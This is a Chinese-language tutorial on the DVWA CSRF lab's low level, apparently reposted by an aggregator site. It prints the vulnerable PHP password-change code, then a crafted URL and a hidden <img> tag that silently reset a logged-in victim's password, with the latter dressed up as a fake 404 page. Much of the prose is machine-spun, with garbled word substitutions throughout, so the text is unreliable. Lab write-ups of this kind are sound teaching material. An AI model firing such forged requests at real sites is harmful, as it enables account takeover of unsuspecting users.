(1) Low level
- <?php
-
- if( isset( $_GET[ 'Change' ] ) ) {
- // Get input
- $pass_new = $_GET[ 'password_new' ];
- $pass_conf = $_GET[ 'password_conf' ];
-
- // Do the passwords match?
- if( $pass_new == $pass_conf ) {
- // They do!
- $pass_new = mysql_real_escape_string( $pass_new );
- $pass_new = md5( $pass_new );
-
- // Update the database
- $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
- $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
-
- // Feedback for the user
- echo "<pre>Password Changed.</pre>";
- }
- else {
- // Issue with passwords matching
- echo "<pre>Passwords did not match.</pre>";
- }
-
- mysql_close();
- }
-
- ?>
所谓的CSRF(Cross-site request forgery)直白的翻译就是跨站点哀求伪造。说人话就是进攻者通过诱使victim会见其全心结构的url可能会见其全心结构的页面,来使得进攻者可以以victim的身份做诸如发邮件,动员静,改暗码等骚操纵。在DVWA这个系列内里,模仿的是修改暗码的界面。先来看下low品级的代码,可以说是没有举办仍和的再认证,试下为啥是“再认证”?着实我们在会见到这个修改暗码界面的时辰,已经登岸过一次,处事器会在每次会见时搜查session。以是这是第一道认证。可是这种会话级此外认证对csrf是没有抵挡力的。详细的进程可以参看之条件到的链接。我们可以直接结构url:
http://localhost/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#。
让victim会见,可能行使越发隐匿的:
- <style>
- form{
- display:none;
- }
- </style>
结构无迹表单,团结js发送哀求,可能:
- <img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
来实现诱骗隐匿行踪,到达修改暗码的目标。趁便盗用两个体人的poc利便展示:
图片情势诱导
- <img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
-
- <h1>404<h1>
-
- <h2>file not found.<h2>
(编辑:湖南网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|